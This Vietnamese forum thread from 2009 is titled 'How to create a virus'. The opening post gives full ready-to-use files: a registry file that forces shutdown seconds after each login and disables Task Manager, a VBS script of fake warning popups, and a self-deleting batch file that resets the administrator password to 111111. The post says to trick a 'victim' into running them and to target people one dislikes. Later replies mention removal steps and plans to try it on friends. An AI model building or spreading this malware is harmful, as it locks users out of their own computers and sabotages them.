We don't store files on our server. Abuse / DMCA Contact: dmca@sharingcentre.net - Reported posts will be removed on 3 hours.
Sharing Centre


PortalForumsOperation SystemsSoftwareGamesMovieMusicEbooks
Go Back   Sharing Centre > .:: Article & Discuss Zone ::. > Vietnamese Zone > Thảo Luận Tin Học > Thủ Thuật - Hướng Dẫn

- Register to member for remove all ads.




Post New Thread Reply
 
LinkBack Thread Tools
  #1  
Old 08-07-2009, 07:07 PM
DeamonKing's Avatar
Friend Of SharingCentre
 
• Join Date: Oct 2008
• Location: Aussie
• Posts: 334
Send a message via Yahoo to DeamonKing Send a message via Skype™ to DeamonKing
Default Cách Tạo Virus :??



vài điều lưu ý : virus này gồm nhiều phần nên hơi khó :
MỞ NOTEPAD lên , gõ copy đoạn lệnh sau vào :

Windows Registry Editor Version 5.00


[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run]
"Shutdown"="Shutdown.exe -s -f -t 05"
[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Policies\System]
"DisableTaskMgr"=dword:1

lưu lại với tên thu.reg ...
mở tiếp notepad copy lệnh sau vào :

Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")
Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")Text1=msgbox("vrius!!!!!virus!!!! please open mylove.bat now",42,"Warning! Virus Protected!")
lưu lại với tên att.vbs

tiếp tục mở notepad copy đoạn mã sau vào :

title Programs
cls
net user administrator 111111
cls
attrib -r -h -s *.*
cls
regedit /s thu.reg
cls
att.vbs
cls
del thu.reg
del att.vbs
del mylove.bat
cls


lưu lại với tên là mylove.bat
copy 3 file này vào trong 1 folder
chọn hidden cho att.vbs và thu.reg còn mylove.bat để nguyên
thế là xong , chỉ cần victim mở folder ra click vào mylove.bat
khi đó nó tự thay đổi registry , từ lần sau khởi động lại máy là chỉ sau 05 giây là máy lại shutdown , cứ kđ đc 5 giây lại tắt .
bạn có thể thay đổi tg tắt máy trong thu.reg :
"Shutdown"="Shutdown.exe -s -f -t 05" thay 05 = 10 hay 60 hay 120 hay chỉ là 01 ...tùy bạn .
lúc này có muốn vào admin cũng không được vì đã bị đặt password là :111111 rồi .
con mylove.bat này chạy xong tự động xóa chính mình không để lại giấu vết.
LƯU Ý !!! CHỈ CHO AI MÌNH GHÉT CHỨ CHỚ NGHỊCH LUNG TUNG !!!
thực chất không cần att.vbs cũng đc nhưng có thì càng hay ...
BẠN CÓ THỂ THỬ NGHIỆM TRÊM MÁY MÌNH . "VIRUS GIA.RAR"

CÁI "VIRUS GIA.RAR" trên mặc định tg là 300 giây = 5 phút , đủ để giải cứu,
cách giải cứu :

khi chạy cái "VIRUS GIA.RAR" rồi reset lại máy thì máy sẽ tự đông shutdown sau 5 phút .
trong 5 phút này chạy file "CUUVIRUS.RAR" , autoshutdown sẽ bị vô hiệu hóa , tiếp tục bạn vào run gõ regedit - ok
tìm khóa : HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run
xóa file tên Shutdown đi là xong.
tìm tiếp :HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System
mở file DisableTaskMgr sửa giá trị thành 0.
còn admin bị khóa thì vào bằng paSS: 111111 rồi remove pass đi .
Reply With Quote
  #2  
Old 08-07-2009, 11:22 PM
ryoir's Avatar
Male ryoir ryoir vẫn chưa có mặt trong diễn đàn
Holder
 
• Join Date: Jan 2009
• Location: Universal
• Posts: 1,396
Send a message via ICQ to ryoir Send a message via AIM to ryoir Send a message via MSN to ryoir Send a message via Yahoo to ryoir Send a message via Skype™ to ryoir
Default

Cái này vào máy anti có duyệt là mã độc ko ta
Con "virus" dạng này khả năng thích nghi môi trường không cao
DK coi vậy mà nham hiểm thật
__________________
Password of my post: SC or sharingcentre.info
Reply With Quote
  #3  
Old 31-07-2009, 09:42 AM
hohiep's Avatar
Male hohiep hohiep vẫn chưa có mặt trong diễn đàn
Member Level 1
 
• Join Date: Jul 2009
• Location: Lòng Đất
• Posts: 98
Default

trong vòng 5 giây đó mình có thể nhanh tay bấm win+R rồi gõ lệnh shutdown -a là xong. Sau đó có thể khắc phục các thứ khác. DK coi xem có cách nào mà disable luôn cái "Run" không?
Reply With Quote
  #4  
Old 16-08-2009, 11:51 PM
sadnolove_149's Avatar
Member
 
• Join Date: Aug 2009
• Posts: 7
Default

de em thui lam voi thang ban em xem nao
Reply With Quote
  #5  
Old 06-01-2010, 08:06 PM
Member
 
• Join Date: Jan 2010
• Posts: 1
Default

de minh thu xem
cam on DK nha
Reply With Quote
Reply


Bookmarks


Thread Tools


All times are GMT +7. The time now is 01:08 PM.
SharingCentre[dot]NET © 2009 - 2010 - Licensed to: Sharing Centre Community.
Portal by vBadvanced CMPS | Search Engine Friendly URLs by vBSEO
Powered by vBulletin® - Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.